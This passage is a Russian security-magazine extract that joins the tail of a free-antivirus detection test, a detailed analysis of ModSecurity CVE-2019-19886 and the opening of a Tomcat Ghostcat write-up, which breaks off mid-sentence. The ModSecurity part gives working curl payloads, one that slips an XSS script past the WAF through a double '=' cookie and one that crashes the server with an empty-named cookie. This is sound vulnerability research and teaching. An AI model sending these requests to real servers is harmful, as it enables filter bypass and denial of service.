Тог да мы соз дали в кор не дис ка   под каталог   и ско пиро вали бэк доры
туда. Huorong поз волил это сде лать, но тут же опом нился и стал показы вать
во всплы вающем окне, сколь ко раз ной заразы он обна ружил.

C:\ V\

Всплы вающее окно Huorong во вре мя про вер ки

На шел он нем ного: 52 шту ки,  а 48 из 100 бэк доров оста лись на сис темном
раз деле.

Huorong оста вил поч ти полови ну злов редов

Еще хуже анти вирь «спра вил ся» с тро яна ми, опре делив толь ко 39 образцов,
а 61 из 100 избе жали детек та. Далее скрин шоты не при вожу, они все одно‐ 
тип ные.

С под боркой сетевых  чер вей все  тоже ока залось пла чев но: он помес тил
в каран тин 48 штук, а 52 из 100 оста лись нет ронуты ми.

Из ком понен тов навяз чивой рек ламы Huorong рас познал мень ше полови‐ 
ны: 49 отпра вились в каран тин, а 51 из 100 оста лись на дис ке.

:Ста тис тика детек та в основном раун де

Backdoors — 52%;•
NetWorms — 48%;•
Trojans — 39%;•
Adware — 49%.•

Про ще  говоря, Huorong опре деля ет  все  типы  угроз  через одну. Более  того,
он  дела ет  это  в  нес коль ко  эта пов. На  каж дой  выбор ке  из  ста фай лов  анти‐ 
вирус  триж ды  показы вал  всплы вающее  окно  и  заново  под счи тывал  чис ло
мал варей, обна ружен ных в той же пап ке. Про верить сра зу всю он не может и,
пока обню хива ет одних злов редов, никак не бло киру ет дос туп к дру гим.

В  допол нитель ном  раун де  анти вирус  так же  не  смог  реаби лити ровать ся.
Из 37 рут китов он про игно риро вал 22, а сре ди 87 мало извес тных угроз про‐ 
пус тил  поч ти  все,  оста вив  79  штук.  Huorong  не  рас познал  ни  одной  угро зы
сре ди  написан ных  для  про цес сорных  архи тек тур,  отличных  от  x86/x86‐64.
Эвристи ка и прод винутая защита у Huorong тоже ока зались ни к чер ту.

Сна чала мы решили, что и злов редов для Linux он не уви дит, но китай ский
анти вирь нем ного подумал и уда лил из под борки линук совых мал варей одну
(99 оста лись). Луч ше бы он вооб ще это го не делал — сошел бы за сред ний
вин довый авер без пре тен зий на защиту дру гих плат форм.

Ста тис тика детек та в допол нитель ном раун де:

RootKITs — 40%;•
Heuristic — 9%;•
Linux malware — 1%;•
non‐x86 threats — 0%.•

В  общем,  анти вирус  с  основной  задачей  спра вил ся  пло хо.  Отме тим  еще  и
сле дующие условные недос татки:

нет  воз можнос ти  про верить  тра фик  HTTPS  (но  нет  и  рис ка  выпол нения
ата ки  типа  «Кас пер ский  посере дине»  бла года ря  уста нов ке  сво его  сер‐ 
тифика та);

•

нет  средств  облачной  про вер ки,  поэто му  Huorong  доль ше  реаги рует
на све жие угро зы. С дру гой сто роны, ваши фай лы оста нут ся вашими, а не
отпра вят ся в обла ко «на ана лиз», ког да взду мает ся анти виру су.

•

Продолжение статьи →



ОТВРАТИТЕЛЬНАЯ

ЧЕТВЕРКА
ТЕСТИРУЕМ НОВЫЕ БЕСПЛАТНЫЕ

АНТИВИРУСЫ HUORONG, PREVENTON, ZONER
И FS PROTECTION

ВЗЛОМ  НАЧАЛО СТАТЬИ←

PREVENTON ANTIVIRUS FREE
Это бес плат ный анти вирус для Windows всех вер сий и раз ряднос тей (начиная
с XP и до Win 10 x64) от бри тан ско го раз работ чика C/O Security Software. Мы
про тес тирова ли  вер сию  5.5.117,  в  которой  была  выпол нена  качес твен ная
локали зация (все пун кты меню отоб ражались на рус ском язы ке без оши бок).

От дель ного дис три бути ва для бес плат ной вер сии нет. Сра зу пос ле  уста‐ 
нов ки анти виру са запус кает ся  тес товый пери од плат ной редак ции Preventon
Antivirus Premium сро ком 30 дней. Через месяц вам пред ложат купить лицен‐ 
зию,  а  если  вы  отка жетесь,  то  смо жете  про дол жить  исполь зовать  Preventon
бес плат но с огра ниче ниями редак ции Free.

Ан тивирус Preventon — начало озна коми тель ного пери ода перед акти ‐
ваци ей бес плат ной вер сии

Она обес печива ет базовый уро вень защиты: ска ниру ет фай лы авто мати чес ки
по мере обра щения к ним и поз воля ет в любой момент выбороч но про верить
отдель ные объ екты. Выб рать фай лы, катало ги и целые раз делы для про вер ки
мож но как из  глав ного окна анти виру са,  так и через кон текс тное меню про‐ 
вод ника.

Нас трой ки Preventon Antivirus

Об новле ния Preventon выходят ежед невно, одна ко акту али зация баз не про‐ 
дума на.  Вмес то  бинар ных  апдей тов  все  базы  переза писы вают ся  целиком,
что  занима ет  мно го  вре мени  —  око ло  вось ми  минут  при  под клю чении
по выделен ке.

Тес ты
Preventon  Antivirus  Free  без  проб лем  прос каниро вал  сетевую  пап ку
и  нашел  84  бэк дора  из  100.  Близ кий  резуль тат  он  показал  и  при  ска ниро‐ 
вании под борки сетевых чер вей, обна ружив 86 из 100. Одна ко даль ше дело
пош ло  гораз до  хуже.  С  тро яна ми  авер  спло ховал,  опре делив  толь‐ 
ко  58  из  сот ни.  Борь ба  с  назой ливой  рек ламой  тоже  не  ста ла  его  силь ной
сто роной — в каран тин отпра вились лишь 52 из 100 модулей Adware.

Preventon — ска ниро вание сетевой пап ки

Об рати  вни мание  на  осо бен ность  Preventon:  при  про вер ке  он  счи тает
не фай лы, а все сос тавные ком понен ты. Нап ример, если помес тить упа кован‐ 
ный экзешник в архив, он покажет, что прос каниро вал два или три объ екта —
как повезет. Поэто му и  в  логах  час то отоб ража ется перевы пол нение пла на.
К при меру, у нас пер вая запись гла сила, что Preventon обна ружил 118 угроз
в под борке из 100 (при том что часть из них он вооб ще не опре делил).

:Ста тис тика детек та в основном раун де

Backdoors — 84%;•
NetWorms — 86%;•
Trojans — 58%;•
Adware — 52%.•

До пол нитель ный  раунд  при нес  анти виру су  час тичную  реаби лита цию.
Из 37 рут китов он отпра вил в каран тин 24 — хотя бы боль ше полови ны.

Все под борки Preventon ска ниро вал за 10–15 с, а вот над тес товой пап кой
  при заду мал ся.  Она  содер жала  ред кие  угро зы,  соб ранные  несиг‐ 

натур ным ана лизом. Preventon обню хивал ее 78 с и заподоз рил 52 злов реда
из 87.

\HEUR\

Сре ди  сот ни  мал варей  под  Linux  анти вирус  обез вре дил  77,
а  из  49  образцов  вре донос ного  кода  для  раз ных  про цес сорных  архи тек тур
опре делил толь ко 27.

Ста тис тика детек та в допол нитель ном раун де:

RootKITs — 65%;•
Heuristic — 60%;•
Linux malware — 77%;•
non‐x86 threats — 55%.•

ZONER ANTIVIRUS ДЛЯ WINDOWS
Это новый анти вирус от чеш ско го раз работ чика Zoner software. Без регис тра‐ 
ции  акка унта  им  поль зовать ся  невоз можно.  Хорошо,  что  она  быс трая
и успешно про ходит даже при ука зании одно разо вых имей лов.

Zoner AntiVirus тре бует регис тра ции акка унта

Мы тес тирова ли пуб личную бета‐вер сию 1.4.0 для Windows 10. Заяв лено, что
она выпол няет сиг натур ный и эвристи чес кий ана лиз фай лов при обра щении
к ним, ска ниру ет каталог «Заг рузки» и домаш нюю пап ку текуще го поль зовате‐ 
ля.  Если  находит  зашиф рован ный  архив,  то  для  про вер ки  его  содер жимого
пред лага ет ука зать пароль.

Сы рой интерфейс Zoner AntiVirus

По фак ту интерфейс ока зал ся нас толь ко недора ботан, что в нем даже нель зя
ука зать  пап ку  для  руч ного  ска ниро вания.  Нет  и  пун кта  «Ска ниро вать
с помощью Zoner AntiVirus» в кон текс тном меню про вод ника.

Тес ты
При  копиро вании  заражен ных  фай лов  из  сетевой  пап ки  анти вирус  мол чал.
Сох ранил  он  пол ное  рав нодушие  и  ког да  мы  ста ли  пооче ред но  откры вать
катало ги (Backdoors\, Trojans\ и так далее) на сис темном раз деле.

Zoner не видит злов редов

Ав томати чес кая про вер ка не сра бота ла, задать руч ную прос то нечем. В глав‐ 
ном окне мож но запус тить толь ко про вер ку катало га «Заг рузки» и домаш ней
пап ки поль зовате ля, но даже в них анти вирус не уви дел ни одно го тес тового
фай ла.

На вся кий слу чай мы пере име нова ли фай лы со злов редами, прис воив им
исполня емое рас ширение  (.exe),  но  это ничего не изме нило.  Zoner AntiVirus
по‐преж нему их игно риро вал.

Пол ный про вал Zoner AntiVirus

 0% во всех катего риях.Ито говый резуль тат:

Ес ли бы  не репута ция  раз работ чика, мы бы пред положи ли,  что  это фей‐ 
ковый  анти вирус.  Почему  нель зя  было  сра зу  добавить  выбор  объ ектов
для ска ниро вания и сде лать интегра цию в кон текс тное меню? Загад ка.

FS PROTECTION
Ан тивирус  от  фин ско го  раз работ чика  F‐Secure  пре дос тавля ется  бес плат но.
Пос ле  регис тра ции  ты  получа ешь  лицен зию  сро ком  на  пол года  и  ссыл ку
на  ска чива ние.  Для  тес тиров щиков  есть  мел кие  бонусы:  под писка  на  авто‐ 
мати чес кие обновле ния и воз можность отпра вить раз работ чикам пожела ния
об изме нении фун кци ональ нос ти конеч ного про дук та.

Пос ле регис тра ции мож но ска чать вер сии FS Protection для раз ных плат ‐
форм

Мы про тес тирова ли вер сию 17.8 beta 6 для Windows. Ее осо бен ность в том,
что управле ние час тично уда лен ное. Оно выпол няет ся через веб‐интерфейс
на  пор тале  ,  где  дос тупны  нас трой ки  всех  защища емых
устрой ств из одной учет ной записи.

My  FS  Protection

Ин терфейс FS Protection

Ло каль ные  нас трой ки  тре буют  под твержде ния  прав  адми нис тра тора.  Все
пун кты меню гра мот но переве дены на рус ский язык и логич но рас положе ны
на  соот ветс тву ющих  вклад ках.  Пер вое  впе чат ление  сло жилось  при ятное,
взгля нем на резуль таты испы таний боем.

Тес ты
Нес мотря на  ста тус бета‐вер сии,  FS Protection без проб лем прос каниро вал
сетевую пап ку. Он тут же показал най ден ных злов редов и спро сил, что с ними
делать, пред лагая очис тить (уда лить) по умол чанию.

FS Protection — резуль таты про вер ки и выбор дей ствий

:Ста тис тика детек та в основном раун де

Backdoors — 84%;•
NetWorms — 99%;•
Trojans — 91%;•
Adware — 88%.•

По  срав нению  с  дру гими  учас тни ками  сегод няшних  тес тов  это  доволь но
хороший резуль тат, одна ко у анти виру са от извес тно го раз работ чика до сих
пор есть серь езные недос татки.

Нап ример,  если  заражен ный  объ ект  находит ся  внут ри  архи ва  или  сооб‐ 
щения  элек трон ной  поч ты,  FS  Protection  не  смо жет  его  ни  уда лить,
ни перемес тить в каран тин. Он пред ложит про пус тить авто мати чес кую обра‐ 
бот ку и уда лить опас ный файл вруч ную. С мно гоуров невыми вло жени ями этот
анти вирус вооб ще не справ ляет ся — он не может их про верить, отоб ражая
пре дуп режде ние в логах.

FS Protection не смог уда лить некото рые из рас познан ных злов редов

Ста тис тика детек та в допол нитель ном раун де:

RootKITs — 95%;•
Heuristic — 64%;•
Linux malware — 76%;•
non‐x86 threats — 71%.•

В целом FS Protection  выг лядит  пер спек тивным про дук том.  Уро вень  детек та
боль шинс тва  типов  угроз  у  него  уже  высокий,  есть  мно го  допол нитель ных
инс тру мен тов,  а  поль зовате лю  дос тупны  широкие  воз можнос ти  кас томиза‐ 
ции. Оста лось изба вить анти вирус от дет ских болез ней, научив уда лять вло‐ 
жен ные объ екты и пар сить длин ные пути.

ВЫВОДЫ
За  пос ледние  годы  мы  про тес тирова ли  боль ше  трех  десят ков  фри вар ных
аве ров и приш ли к неуте шитель ному резуль тату: боль шинс тво из них усту пает
даже «Защит нику Windows», при этом отклю чая его, что бы избе жать кон флик‐ 
тов.  Получа ется,  что  уста нов ка  бес плат ного  анти виру са  час то  сни жает  уро‐ 
вень защиты, а вов се не допол няет штат ные средс тва ОС.

Бо лее  того,  бес плат ные  анти виру сы  все  чаще  наруша ют  нор маль ную
работу  сис темы.  Они  внед ряют  свои  драй веры  и  про чие  низ коуров невые
ком понен ты, которые содер жат раз личные ошиб ки и серь езные уяз вимос ти.

Поч ти все бес плат ные анти виру сы име ют фун кцию сбо ра дан ных о поль‐ 
зователь ских  пред почте ниях.  Они  пло хо  выяв ляют  ком понен ты  навяз чивой
рек ламы, а порой и сами содер жат ее.

WWW

•Huorong Internet Security
•Preventon Antivirus Free
•Zoner AntiVirus для Windows
•FS Protection beta
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В  ModSecurity  —  извес тном  WAF
для Apache,  IIS  и  nginx — наш ли  кри тичес‐ 
кую  уяз вимость,  которая при водит  к отка зу
в обслу жива нии. При чем завер шает работу
не  толь ко сама биб лиоте ка, но и при ложе‐ 
ния,  которые  ее  вызыва ют.  Давай  раз‐ 
берем ся,  в  чем  ошиб лись  раз работ чики
ModSecurity  и  как  экс плу ати ровать  эту
лазей ку при пен тестах.

У ModSecurity есть свой скрип товый язык, осно ван ный на событи ях. Он обес‐ 
печива ет  защиту  от  мно жес тва  видов  атак  на  веб‐при ложе ния  и  поз воля ет
монито рить  HTTP‐тра фик,  вес ти  логи  и  ана лизи ровать  зап росы  в  реаль ном
вре мени.  Это  дела ет  ModSecurity  очень  гиб ким  инс тру мен том  для  поис ка
потен циаль но небезо пас ных дан ных и реак ции на них.

Баг обна ружи ли Эрвин Хегедюш (Ervin Hegedüs) и Андреа Менин (Andrea
Menin),  раз работ чики  OWASP  Core  Rule  Set,  ког да  изу чали  работу  пар сера
зап росов, в час тнос ти обра бот ку хидера cookie.

Баг  поз воля ет  зло умыш ленни ку  отпра вить  спе циаль но  сфор мирован ный
зап рос, который будет завер шать работу родитель ско го про цес са. Отправ ка
боль шого количес тва таких зап росов может при вес ти к тому, что веб‐сер вер
ста нет  отве чать  гораз до  мед леннее  или  вооб ще  перес танет  реаги ровать
на зап росы поль зовате лей (отказ в обслу жива нии).

INFO

Уяз вимость  получи ла  иден тифика тор 
  и  зат рагива ет  все  вер сии  Trustwave Mod‐

Security  вет ки  3.х,  начиная  с  3.0.0  и  закан‐ 
чивая 3.0.3 вклю читель но.

CVE‐2019‐
19886

СТЕНД
Сна чала нуж но под нять тес товое окру жение. Здесь есть два вари анта.

Ес ли  не  хочешь  возить ся  с  отладкой  и  копани ем  в  сор цах,  то  можешь
прос то запус тить докер‐кон тей нер с уяз вимой вер сией ModSecurity и потес‐ 
тить экс пло ит.

docker run ‐‐rm ‐p 80:80 ‐ti ‐‐rm owasp/modsecurity:3.0.3‐nginx

Вто рой вари ант — ском пилить все из сор цов с воз можностью дебага.
Нач нем  с  запус ка  кон тей нера  с  Debian  на  бор ту  и  уста нов ки  всех  необ‐ 

ходимых пакетов.

docker run ‐‐rm ‐ti ‐‐cap‐add=SYS_PTRACE ‐‐security‐opt seccomp=
unconfined ‐‐name=nginxdos ‐‐hostname=nginxdos ‐p80:80 debian /bin/
bash
apt update && apt install nano wget git procps gdb automake bison 
build‐essential g++ gcc libbison‐dev libcurl4‐openssl‐dev libfl‐dev 
libgeoip‐dev liblmdb‐dev libpcre3‐dev libtool libxml2‐dev 
libyajl‐dev make pkg‐config zlib1g‐dev

Те перь ска чива ем биб лиоте ку   пос ледней уяз вимой вер сии 3.0.3.ModSecurity

cd /root
git clone ‐‐depth 1 ‐b v3.0.3 ‐‐single‐branch https://github.com/
SpiderLabs/ModSecurity

Да лее под гру зим все необ ходимые модули.

cd ModSecurity/
git submodule init
git submodule update

А потом ском пилиру ем ее и уста новим.

./build.sh && ./configure && make && make install

Ус танов ка уяз вимой вер сии биб лиоте ки ModSecurity

При шел черед кон некто ра для nginx.

cd /root && git clone ‐‐depth 1 https://github.com/SpiderLabs/ModSec
urity‐nginx.git

Ну и сам веб‐сер вер, разуме ется.

wget ‐q https://nginx.org/download/nginx‐1.16.1.tar.gz
tar ‐zxf nginx‐1.16.1.tar.gz
cd nginx‐1.16.1

Те перь скон фигури руем его для исполь зования биб лиоте ки ModSecurity.

./configure ‐‐add‐module=/root/ModSecurity‐nginx

Даль ше дело за ком пиляци ей и уста нов кой.

make && make install

Ком пиляция и уста нов ка nginx с под дер жкой ModSecurity

Для более наг лядных тес тов я так же уста нов лю и запущу PHP‐FPM.

apt install ‐y php‐fpm
service php7.3‐fpm start

По  дефол ту  nginx  ста вит ся  в  дирек торию  .  Перей дем
туда, что бы нем ного под пра вить кон фиги под наши реалии. Сна чала вклю чим
под дер жку  PHP.  У меня  PHP‐FPM работа ет  через  сокет,  поэто му  про пишем
путь до него в раз дел   фай ла  .

/usr/local/nginx/

server nginx.conf

location ~ \.php$ {
   root           html;
   fastcgi_pass   unix:/run/php/php7.3‐fpm.sock;
   fastcgi_index  index.php;
   fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_
name;
   include        fastcgi_params;
}

Те перь  перехо дим  к  нас трой ке  ModSecurity.  Добавим  необ ходимую  дирек‐ 
тиву во все тот же  , толь ко на этот раз в раз дел  .nginx.conf http

modsecurity on;

Так  как  у  нас  будет  нес коль ко  кон фигура цион ных  фай лов,  сде лаем  один
общий  ,  в  который  будем  добав лять  спи сок  необ‐ 
ходимых кон фигов. Под гру зим его при помощи  .

modsec_includes.conf
modsecurity_rules_file

modsecurity_rules_file /usr/local/nginx/conf/modsec_includes.conf;

Да лее  нуж но  ско пиро вать  дефол тный  кон фиг  (
) из дис три бути ва ModSecurity.

modsecurity.conf‐recom‐
mended

cp /root/ModSecurity/modsecurity.conf‐recommended /usr/local/nginx/
conf/modsecurity.conf
cp /root/ModSecurity/unicode.mapping /usr/local/nginx/conf/

Пе рек лючим биб лиоте ку из пас сивно го режима в режим бло киров ки.

sed 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' ‐i modsecurity.
conf

При шел черед филь тров. Я рекомен дую исполь зовать набор пра вил 
. Для наших тес тов дос таточ но будет толь ко нес коль ких фай лов.

В пер вую оче редь заг рузим основной кон фиг.

OWASP
Core Rule Set

mkdir /usr/local/nginx/conf/modsec && cd $_
wget https://raw.githubusercontent.com/SpiderLabs/owasp‐modsec
urity‐crs/v3.3/dev/crs‐setup.conf.example ‐O crs‐setup.conf

За тем  мой  выбор  пал  на  файл  с  пра вила ми  для  пре дот вра щения  XSS‐уяз‐ 
вимос тей.

mkdir /usr/local/nginx/conf/modsec/rules && cd $_
wget https://raw.githubusercontent.com/SpiderLabs/owasp‐modsec
urity‐crs/v3.3/dev/rules/REQUEST‐941‐APPLICATION‐ATTACK‐XSS.conf

И  наконец,  два  вспо мога тель ных  кон фига  —  для  ини циали зации  пра вил
и бло киров ки зап роса на осно ве сис темы ско рин га.

wget https://raw.githubusercontent.com/SpiderLabs/owasp‐modsec
urity‐crs/v3.3/dev/rules/REQUEST‐901‐INITIALIZATION.conf
wget https://raw.githubusercontent.com/SpiderLabs/owasp‐modsec
urity‐crs/v3.3/dev/rules/REQUEST‐949‐BLOCKING‐EVALUATION.conf

Те перь  нуж но  исполь зовать  все  эти  пра вила  в  нашей  кон фигура ции  nginx.
Для  это го  я  и  соз давал  файл 

.
/usr/local/nginx/conf/modsec_includes.

conf

include modsecurity.conf
include modsec/crs‐setup.conf
include modsec/rules/REQUEST‐901‐INITIALIZATION.conf
include modsec/rules/REQUEST‐941‐APPLICATION‐ATTACK‐XSS.conf
include modsec/rules/REQUEST‐949‐BLOCKING‐EVALUATION.conf

Об рати вни мание на пос ледова тель ность заг рузки, она важ на.
На этом этап под готов ки стен да закон чен, оста лось его про верить. Запус‐ 

тим веб‐сер вер.

/usr/local/nginx/sbin/nginx ‐g "daemon off;master_process off;error_
log /dev/stdout debug;"

Я добавил  нес коль ко  парамет ров,  что бы отклю чить  запуск  nginx  как  демона
и вывес ти логи в кон соль. Если теперь отпра вить потен циаль но опас ный зап‐ 
рос  на  сер вер —  ,  то
ModSecurity заб локиру ет зап рос и вер нет 403.

http://nginxdos.vh/?xss=<script>alert()script>

Го товый стенд. ModSecurity заб локиро вала потен циаль но опас ный зап ‐
рос к сер веру

Вот и готовый стенд. Перехо дим к пре пари рова нию уяз вимос ти.

Продолжение статьи →
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ДЕТАЛИ
Нач нем  с  того,  что  пос мотрим  на  ,  который  исправ ляет  уяз вимость.
Изме нения  кос нулись  фай ла    в  раз деле  пар синга  куков.
Запус тим веб‐сер вер через отладчик и пос тавим бряк на стро ку 558,  что бы
пот рей сить про цесс обра бот ки.

патч
transaction.cc

gdb ‐‐arg /usr/local/nginx/sbin/nginx ‐g "daemon off;master_process 
off;error_log /dev/stdout debug;"
b transaction.cc:558
r

От ладка сер вера nginx с биб лиоте кой ModSecurity. Ста вим брейк‐пой нт
на пар сере заголов ка cookie

От прав ляем зап рос с куками и попада ем в точ ку оста нова.

curl ‐v ‐H "Cookie: hello=world" nginxdos.vh

Сра ботал брейк‐пой нт в про цес се пар синга куков

Как ты, ско рее все го, зна ешь, в про токо ле HTTP стро ка   пред став ляет
собой  пос ледова тель ность  пар  ,  раз делен ных  сим волом  .
Поэто му изна чаль но вся стро ка раз бива ется на час ти, где раз делите лем слу‐ 
жит  . Резуль тат записы вает ся в век тор ( ).

cookie
имя=значение ;

; std::vector

modsec/v3.0.3/src/transaction.cc
557: if (keyl == "cookie") {
558:     size_t localOffset = m_variableOffset;
559:     std::vector<std::string> cookies = utils::string::ssplit(
value, ';');

Век тор в C++ — это замена стан дар тно му динами чес кому мас сиву, который
может управлять выделен ной для него памятью. С его помощью мож но соз‐ 
давать мас сивы, дли на которых зада ется во вре мя выпол нения, без исполь‐ 
зования  опе рато ров    и  .  Все  эле мен ты  век тора  дол жны  при над‐ 
лежать  одно му  типу.  В  допол нение  к  фун кци ям  пря мого  дос тупа  эле мен ты
век тора мож но получить пос редс твом ите рато ров. Что и про исхо дит даль ше
по коду.

new delete

modsec/v3.0.3/src/transaction.cc
560: for (const std::string &c : cookies) {

Пе реби раем все передан ные в зап росе куки

Так как я передал одну куку, то и эле мент все го один. Теперь он раз бива ется
по раз делите лю  . Таким обра зом получа ем имя и зна чение cookie.=

561: std::vector<std::string> s = utils::string::split(c,
562:    '=');

Даль ше  про веря ется  раз мер  получен ного  век тора,  и,  если  он  боль ше  еди‐ 
ницы, выпол нение про дол жает ся.

modsec/v3.0.3/src/transaction.cc
563: if (s.size() > 1) {

Раз бива ем содер жимое cookie на пару имя‐зна чение

По ка  все  идет  хорошо.  Если  обра тить ся  к 
 о механиз мах хра нения сос тояния в HTTP, то там под пун ктом 2 уви дим,

что  если  в  паре  имя‐зна чение  отсутс тву ет  сим вол    (%x3D),  то  его  нуж но
игно риро вать.

раз делу  5.2  спе цифи кации  RFC
6265

=

Спе цифи кация RFC 6265. Раз дел 5.2

Имен но так и про исхо дит. А так же час тично выпол няет ся и пункт 4 — уда лять
все  про белы  перед  име нем  и  пос ле  него  и  зна чения  куки.  В  нашем  слу чае
толь ко один про бел перед име нем.

modsec/v3.0.3/src/transaction.cc
564: if (s[0].at(0) == ' ') {
565:     s[0].erase(0, 1);
566: }

А вот с треть им пун ктом воз никли проб лемы.

Спе цифи кация RFC 6265. О том, как пар сить пару имя‐зна чение

Часть стро ки до пер вого появ ления сим вола   — это имя куки, а все, что пос‐ 
ле,  —  ее  зна чение.  То  есть  из  хидера  вида    дол жна
получить ся  кука  ,  зна чение  которой  .  Одна ко  в  слу чае
с  ModSecurity  3.0.3  получим    со  зна чени ем  .  Виной  все му  сле‐ 
дующий учас ток кода.

=
hello=cruel=world

hello cruel=world
hello cruel

modsec/v3.0.3/src/transaction.c
567: m_variableRequestCookiesNames.set(s[0],
568:     s[0], localOffset);
569: 
570: localOffset = localOffset + s[0].size() + 1;
571: m_variableRequestCookies.set(s[0], s[1], localOffset);

В качес тве зна чения переда ется толь ко вто рой эле мент мас сива, а в дан ном
слу чае у нас получа ется их три:  ,   и  .hello cruel world

Не кор рек тный пар синг куки в ModSecurity 3.0.3 боль ше чем с одним сим ‐
волом =

Чем это может гро зить? Если у тебя есть какие‐то пра вила, которые филь тру‐ 
ют раз ные виды атак в куках, нап ример XSS или SQL‐инъ екции, то, исполь зуя
трюк с двой ным сим волом  , мож но обхо дить эти филь тры.=

До бав ляем XSS в cookie

Для демонс тра ции я соз дам прос тень кий, уяз вимый к XSS скрипт.

index.php
<html>
   <body>
       <?php echo "Hello, ".($_COOKIE['user'] ? $_COOKIE['user'] : 
'%username%'); ?>
   </body>
</html>

Ес ли я нап рямую передаю в куке XSS, то защита сра баты вает, если исполь‐ 
зую вто рой сим вол  , то XSS триг герит ся.=

curl ‐H "Cookie: user=safe=<script>alert('xss')</script>" nginxdos.
vh/index.php

Об ход защиты от XSS в ModSecurity

Ра зуме ется, нель зя отфиль тро вать то, что не уда лось пра виль но про читать.
Об ход филь тров WAF — это, конеч но, инте рес но, но давай пос мотрим, что

еще мож но сде лать. Вер немся к пун кту 5 спе цифи кации RFC 6265.

Спе цифи кация RFC 6265. Игно риру ем cookie с пус тым име нем

То есть если имя куки пус тое, то она дол жна игно риро вать ся. В ModSecurity
3.0.3 такой логики не пре дус мотре но. В свя зи с этим пред лагаю еще раз вни‐ 
матель но пос мотреть на сле дующий учас ток кода.

modsec/v3.0.3/src/transaction.cc
564: if (s[0].at(0) == ' ') {
565:     s[0].erase(0, 1);
566: }

Здесь  про веря ется,  какой  сим вол  сто ит  на  нулевой  позиции  в  име ни  куки.
А что про изой дет, если передать cookie с пус тым наз вани ем?

curl ‐H "Cookie: =notsafe" nginxdos.vh/index.php

Прог рамма попыта ется счи тать зна чение из пус того диапа зона, что вызовет
исклю чение вида  .out_of_range

Ошиб ка при обра бот ке пус того име ни cookie при водит к завер шению
работы ModSecurity

Те перь прог рамма завер шит свою работу, а вмес те с ней оста новит ся и вор‐ 
кер  nginx.  Таким  обра зом,  пос тоян но  отправ ляя  зап росы  с  вре донос ной
кукой,  мож но  выз вать  отказ  в  обслу жива нии  веб‐сер вера,  и  он  перес танет
обра баты вать зап росы легитим ных поль зовате лей. Для это го мож но вос поль‐ 
зовать ся прос тей шим PoC.

curl ‐s ‐H "Cookie: =notsafe" "nginxdos.vh/index.php?[0‐99999]"

От каз в обслу жива нии веб‐сер вера nginx из‐за уяз вимос ти в биб лиоте ке
ModSecurity

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Рас смот ренная  уяз вимость  хорошо  иллюс три рует,  нас коль ко  опас но  отхо‐ 
дить от спе цифи каций. Даже, казалось бы, мел кое упу щение может в резуль‐ 
тате  пов лиять  на  ста биль ную  работу  все го  при ложе ния  и  на  безопас ность
конеч ных поль зовате лей.

Пос ле того как раз работ чики были уве дом лены об уяз вимос ти, иссле дова‐ 
тель  Эрвин  Хегедюш  тоже  отпра вил  два  pull‐рек веста  с  изме нени ями,
которые поз воля ют зак рыть брешь  ( ,  ). В  резуль тате раз работ чики
перес мотре ли всю логику пар синга cookie и приб лизили ее к спе цифи кации
RFC 6265.

2023 2201

И конеч но, если ты исполь зуешь ModSecurity вер сий от 3.0.0 до 3.0.3,  то
пос пеши обно вить ся до вер сии 3.0.4, где этот баг исправ лен.
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Се год ня я рас смот рю уяз вимость в Apache Tomcat, которая
поз воля ет  читать  фай лы  на  сер вере  и  при  опре делен ных
усло виях выпол нять про изволь ный код. Проб лема скры вает‐ 
ся  в  осо бен ностях  реали зации  про токо ла  AJP,  по  которо му
про исхо дит вза имо дей ствие с сер вером Tomcat. Для экс плу‐ 
ата ции  зло умыш ленни ку  не  тре бует ся  каких‐либо  прав
в целевой сис теме.

Tomcat — это кон тей нер сер вле тов с откры тым исходным кодом. Он написан
на  язы ке  Java  и  реали зует  такие  спе цифи кации,  как  JavaServer  Pages  (JSP)
и  JavaServer  Faces  (JSF).  Это  один  из  наибо лее  популяр ных  веб‐сер веров,
осо бен но  час то  он  исполь зует ся  в  кор поратив ной  сре де.  Его  ста вят
как  самос тоятель ное  решение  или  в  качес тве  кон тей нера  сер вле тов  в  раз‐ 
личных сер верах при ложе ний, нап ример GlassFish или JBoss.

Баг нашел иссле дова тель из   в начале это го года. Уяз вимость
получи ла ста тус кри тичес кой. Как сей час ста ло мод но, она обза велась собс‐ 
твен ным наз вани ем — Ghostcat — и логоти пом в виде кота‐приз рака.

Chaitin Tech

Уяз вимость  поз воля ет  зло умыш ленни ку  читать  про изволь ные  фай лы
на целевой сис теме внут ри дирек тории  . Реали зация про токо ла AJP
(Apache  JServ  Protocol)  поз воля ет  кон тро лиро вать  атри буты,  которые  отве‐ 
чают  за фор мирова ние  пути  до  зап рашива емых фай лов. Спе циаль но  сфор‐ 
мирован ный  зап рос  на  сер вер  поз воля ет  про читать  содер жимое  фай лов,
дос туп к которым невоз можен в дру гих усло виях. Если мож но заг рузить файл
на сер вер, сущес тву ет риск исполь зования уяз вимос ти для выпол нения про‐ 
изволь ного кода.

appBase

INFO

Уяз вимос ти  прис воен  иден тифика тор 
.  Ошиб ка  при сутс тву ет  в  акту аль ных  вет ках

дис три бути ва  и  зат рагива ет  все  вер сии  Apache
Tomcat ниже 9.0.31, 8.5.51 и 7.0.100.

CVE‐2020‐
1938

ТЕСТОВЫЙ СТЕНД
Нач нем со стен да для тес тирова ния уяз вимос ти. Для это го дос таточ но запус‐ 
тить кон тей нер Docker из  .офи циаль ного репози тория Tomcat

docker run ‐it ‐‐rm ‐p 8080:8080 ‐p 8009:8009 tomcat:9.0.30

Очень важ но рас шарить порт 8009, это AJP‐про токол, в котором и была най‐ 
дена уяз вимость.

Ес ли  хочет ся вмес те со мной возить ся с отладкой при ложе ния,  то нуж но
дей ство вать  нем ного  по‐дру гому.  Для  дебага  я  буду  исполь зовать  IntelliJ
IDEA. Сна чала ска чаем уяз вимую вер сию Apache Tomcat. Я взял  . Рас‐ 
паку ем  и  откро ем  про ект  в  IDEA.  Теперь  соз дадим  новую  кон фигура цию
отладки с шаб лоном Remote.

9.0.30

Соз дание шаб лона Remote в IDEA

Здесь в поле   стро ка с парамет рами, которые нуж‐ 
но ука зать при запус ке сер вера. Рекомен дую выб рать вер сию JDK 1.4.x.

Command line arguments

Кон фигура ция отладки. Аргу мен ты для запус ка Tomcat в режиме уда лен ‐
ной отладки

Са ми парамет ры мож но передать в Docker с помощью клю ча   или  .
Перемен ная  окру жения,  исполь зуемая  для  этих  целей,  называ ется

.  Обра ти  вни мание  на  опцию  :  если  она  вклю чена  (
